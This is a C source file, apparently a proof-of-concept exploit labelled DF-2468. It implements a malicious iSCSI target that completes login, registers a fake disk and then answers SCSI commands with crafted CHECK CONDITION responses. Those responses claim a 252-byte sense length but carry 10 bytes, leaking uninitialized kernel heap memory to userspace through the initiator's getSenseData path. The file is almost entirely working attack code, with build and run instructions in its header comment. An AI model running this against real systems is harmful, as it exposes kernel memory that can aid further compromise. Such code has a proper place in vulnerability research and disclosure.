DF-2468 / mtarget2468.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 | /* * mtarget2468.c - Malicious iSCSI target for DF-2468 (getSenseData heap leak). * * Completes iSCSI Login (Security -> Operational -> FFP), then: * - INQUIRY (CDB opcode 0x12): replies with a SCSI Data-In carrying VALID * INQUIRY data (direct-access disk) so CAM registers the LUN and a * /dev/daN + /dev/passN appear. * - all other SCSI commands: replies with a SCSI Response (opcode 0x21), * status = 0x02 (CHECK CONDITION), and a Data Segment whose first two * bytes claim sense_len = 252 (0x00FC) while the actual Data Segment is * only 10 bytes. getSenseData() does kmalloc(252, M_ISCSI, M_WAITOK) * WITHOUT M_ZERO, i_mbufcopy() copies only the 10 real bytes, then * bcopy(bp+2, sense, min(252, scsi->sense_len)) copies the remaining * uninitialized kmalloc slack (stale kernel heap) into the CCB sense_data. * For a userspace pass-through CCB the sense (CAM_AUTOSNS_VALID) is * returned, leaking stale kernel heap to userspace. * * Build: cc -o mtarget2468 mtarget2468.c * Run: ./mtarget2468 (listens 127.0.0.1:3260) * Driver: iscontrol (root) connects; then `camcontrol cmd da0 -c ...` dumps sense. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> static int G_c = -1; static unsigned statSN = 0; static unsigned expCmdSN = 1; /* advanced as we ack initiator CmdSNs */ static unsigned maxCmdSN = 64; /* keep a wide window so pass-throughs flow */ #define BHS_OP 0 #define BHS_FLAGS 1 #define BHS_AHSLEN 4 #define BHS_DSLEN 5 #define BHS_ITT 16 #define BHS_CMDSN 24 static unsigned get24(const unsigned char *b, int off){ return ((unsigned)b[off]<<16)|((unsigned)b[off+1]<<8)|b[off+2]; } static void set24(unsigned char *b,int off,unsigned v){ b[off]=v>>16;b[off+1]=v>>8;b[off+2]=v; } static void put32(unsigned char *b,int off,unsigned v){ b[off]=v>>24;b[off+1]=v>>16;b[off+2]=v>>8;b[off+3]=v; } static unsigned get32(const unsigned char *b,int off){ return ((unsigned)b[off]<<24)|((unsigned)b[off+1]<<16)|((unsigned)b[off+2]<<8)|b[off+3]; } static int readn(int fd,void*buf,int n){ int got=0,r; unsigned char*p=buf; while(got<n){ r=read(fd,p+got,n-got); if(r<=0)return -1; got+=r; } return got; } static void sendb(const void*p,int n){ if(write(G_c,p,n)!=n) perror("write"); } static void send_login_rsp(const unsigned char *req,const char*ds,int dslen){ unsigned char b[48+4096]; int pad,total; memset(b,0,sizeof(b)); b[BHS_OP]=0x23; b[BHS_FLAGS]=req[BHS_FLAGS]|0x80; b[2]=0; b[3]=0; memcpy(b+8,req+8,6); b[14]=0; b[15]=1; put32(b,BHS_ITT,get32(req,BHS_ITT)); statSN++; put32(b,24,statSN); put32(b,28,expCmdSN); put32(b,32,maxCmdSN); put32(b,36,0); set24(b,BHS_DSLEN,dslen); total=48; memcpy(b+48,ds,dslen); total+=dslen; pad=(4-(dslen&3))&3; if(pad){memset(b+total,0,pad);total+=pad;} sendb(b,total); } static const char *SEC_RSP="AuthMethod=None\0"; static const char *OP_RSP= "MaxRecvDataSegmentLength=65536\0""MaxBurstLength=262144\0""FirstBurstLength=65536\0" "HeaderDigest=None\0""DataDigest=None\0""ErrorRecoveryLevel=0\0""DefaultTime2Wait=2\0" "DefaultTime2Retain=20\0""DataPDUInOrder=Yes\0""DataSequenceInOrder=Yes\0" "MaxOutstandingR2T=1\0""MaxConnections=1\0""InitialR2T=Yes\0""ImmediateData=No\0"; static int op_rsp_len(void){ const char*p=OP_RSP;int n=0;while(*p){int l=strlen(p)+1;n+=l;p+=l;}return n;} static int sec_rsp_len(void){ return strlen(SEC_RSP)+1; } /* SCSI Data-In (opcode 0x25) with status GOOD, carrying `data`/`dlen`, matching itt/edtlen from the request. */ static void send_datain_good(const unsigned char*req,unsigned itt,const unsigned char*data,int dlen){ unsigned char d[48+4096]; int total,pad; memset(d,0,sizeof(d)); d[0]=0x25; d[1]=0x81; d[3]=0x00; /* Data-In, F=1, S=1 status GOOD */ put32(d,16,itt); put32(d,20,0xffffffff); put32(d,24,++statSN); put32(d,28,expCmdSN); put32(d,32,maxCmdSN); put32(d,36,0); put32(d,40,0); /* DataSN=0, bo=0 */ if(dlen>0) memcpy(d+48,data,dlen); set24(d,BHS_DSLEN,dlen); total=48+dlen; pad=(4-(dlen&3))&3; if(pad){memset(d+total,0,pad);total+=pad;} sendb(d,total); } /* SCSI Response (opcode 0x21) with status GOOD, optional small data segment. */ static void send_scsi_rsp_good(const unsigned char*req,unsigned itt,unsigned status, const unsigned char*data,int dlen){ unsigned char d[48+64]; int total,pad; memset(d,0,sizeof(d)); d[0]=0x21; d[1]=0x80; d[2]=0x00; d[3]=(unsigned char)status; put32(d,16,itt); put32(d,24,++statSN); put32(d,28,expCmdSN); put32(d,32,maxCmdSN); put32(d,36,0); put32(d,40,0); put32(d,44,0); if(dlen>0){ set24(d,BHS_DSLEN,dlen); memcpy(d+48,data,dlen); total=48+dlen; pad=(4-(dlen&3))&3; if(pad){memset(d+total,0,pad);total+=pad;} } else total=48; sendb(d,total); } /* SCSI Response (opcode 0x21), status=0x02 (CHECK CONDITION), Data Segment = [2-byte sense_len=252 BE][sensedata...], DSLength set to the SMALL real length so sense_len(252) > mbuf_len(real) -> getSenseData leak path. */ static void send_check_condition(const unsigned char*req,unsigned itt){ unsigned char d[48+64]; int total,pad,dslen; /* sense payload: 2-byte sense_len (252) + 8 bytes of sense data */ unsigned char sense[10]; sense[0]=0x00; sense[1]=0xFC; /* sense_len = 252 (BE) -- MUCH bigger than ds */ sense[2]=0x70; /* current error code, fixed format */ sense[3]=0x00; sense[4]=0x05; /* ILLEGAL REQUEST */ sense[5]=0x26; sense[6]=0x00; /* invalid field in CDB */ sense[7]=0x0a; sense[8]=0x00; sense[9]=0x00; dslen = sizeof(sense); /* 10 bytes actually on the wire */ memset(d,0,sizeof(d)); d[0]=0x21; /* SCSI Response */ d[1]=0x80; /* F=1 */ d[2]=0x00; /* response = 0 (cmd completed at target) */ d[3]=0x02; /* status = CHECK CONDITION */ put32(d,16,itt); /* itt */ put32(d,24,++statSN); put32(d,28,expCmdSN); put32(d,32,maxCmdSN); put32(d,36,0); put32(d,40,0); put32(d,44,0); set24(d,BHS_DSLEN,dslen); memcpy(d+48,sense,dslen); total=48+dslen; pad=(4-(dslen&3))&3; if(pad){memset(d+total,0,pad);total+=pad;} sendb(d,total); } /* minimal valid INQUIRY response: direct-access disk, 36 bytes */ static const unsigned char INQ[36] = { 0x00,0x00,0x05,0x02, 0x20,0x00,0x00,0x00, /* type=disk, SPC-3, addrlen=32 */ 'D','F','L','Y',' ',' ',' ',' ', /* vendor */ 'M','T','A','R','G','E','T','4','6','8',' ',' ',' ',' ',' ',' ',' ', 0x00,0x00,0x00,0x00 }; int main(int argc,char**argv){ int port=argc>1?atoi(argv[1]):3260; int s,one=1; struct sockaddr_in sa; signal(SIGPIPE,SIG_IGN); s=socket(AF_INET,SOCK_STREAM,0); setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&one,sizeof one); memset(&sa,0,sizeof sa); sa.sin_family=AF_INET; sa.sin_addr.s_addr=inet_addr("127.0.0.1"); sa.sin_port=htons(port); if(bind(s,(struct sockaddr*)&sa,sizeof sa)<0){perror("bind");return 1;} if(listen(s,1)<0){perror("listen");return 1;} printf("mtarget2468: listening 127.0.0.1:%d\n",port); fflush(stdout); {struct sockaddr_in ca;socklen_t cl=sizeof ca; G_c=accept(s,(struct sockaddr*)&ca,&cl); if(G_c<0){perror("accept");return 1;}} printf("mtarget2468: accepted\n"); fflush(stdout); for(;;){ unsigned char bhs[48]; unsigned char*ahs_ds=NULL; int r,ahsl,dsl,extra; r=readn(G_c,bhs,48); if(r<0){printf("mtarget2468: closed\n");break;} ahsl=bhs[BHS_AHSLEN]*4; dsl=get24(bhs,BHS_DSLEN); extra=ahsl+((dsl+3)&~3); if(extra>0){ ahs_ds=malloc(extra); if(readn(G_c,ahs_ds,extra)<0){printf("ds read fail\n");break;} } switch(bhs[BHS_OP]&0x3f){ case 0x03:{ int csg=(bhs[1]>>2)&3,nsg=bhs[1]&3; if(csg==0) send_login_rsp(bhs,SEC_RSP,sec_rsp_len()); else send_login_rsp(bhs,OP_RSP,op_rsp_len()); if(nsg==2&&(bhs[1]&0x80)) printf(" -> FFP\n"); break; } case 0x00: case 0x04:{ unsigned char nb[48]; memset(nb,0,48); nb[0]=0x20;nb[1]=0x80;put32(nb,16,0xffffffff);put32(nb,20,0xffffffff); put32(nb,24,++statSN);put32(nb,28,expCmdSN);put32(nb,32,maxCmdSN); sendb(nb,48); break; } case 0x01:{ unsigned itt=get32(bhs,BHS_ITT); unsigned char cdbop=bhs[32]; unsigned edtlen=get32(bhs,40); (void)edtlen; unsigned cmdsn=get32(bhs,BHS_CMDSN); unsigned lun = get32(bhs,8); (void)lun; /* LUN field bytes 8..15 */ /* respond only to LUN 0 INQUIRY with valid data; reject other LUNs (CHECK CONDITION ILLEGAL REQUEST) so CAM stops at one da device instead of enumerating thousands. */ unsigned char lunbyte = bhs[9]; /* advance the command window so the initiator keeps issuing cmds */ if(cmdsn >= expCmdSN) expCmdSN = cmdsn + 1; maxCmdSN = expCmdSN + 64; printf(" SCSI CMD itt=0x%08x cdbop=0x%02x lun=%u cmdsn=%u\n", itt,cdbop,lunbyte,cmdsn); fflush(stdout); if(lunbyte != 0){ /* non-zero LUN -> not present */ send_check_condition(bhs,itt); } else if(cdbop==0x12){ /* INQUIRY LUN0 -> valid data */ send_datain_good(bhs,itt,INQ,sizeof INQ); } else if(cdbop==0x25 || cdbop==0x9e){ /* READ CAPACITY(10/16) */ unsigned char cap[8]={0x00,0x00,0x00,0xff,0x00,0x00,0x02,0x00}; send_datain_good(bhs,itt,cap,sizeof cap); } else if(cdbop==0x03){ /* REQUEST SENSE (pass-through trigger) */ send_check_condition(bhs,itt); /* -> crafted leaked sense */ } else { /* TUR / MODE SENSE / etc -> GOOD */ send_scsi_rsp_good(bhs,itt,0,NULL,0); } break; } case 0x06:{ unsigned char lb[48]; memset(lb,0,48); lb[0]=0x26;lb[1]=0x80;put32(lb,16,get32(bhs,16)); put32(lb,24,++statSN);put32(lb,28,expCmdSN);put32(lb,32,maxCmdSN); sendb(lb,48); printf(" logout -> bye\n"); fflush(stdout); goto done; } default: printf(" (ignoring op 0x%02x)\n",bhs[0]&0x3f); fflush(stdout); break; } if(ahs_ds){free(ahs_ds);ahs_ds=NULL;} } done: close(G_c); close(s); return 0; } |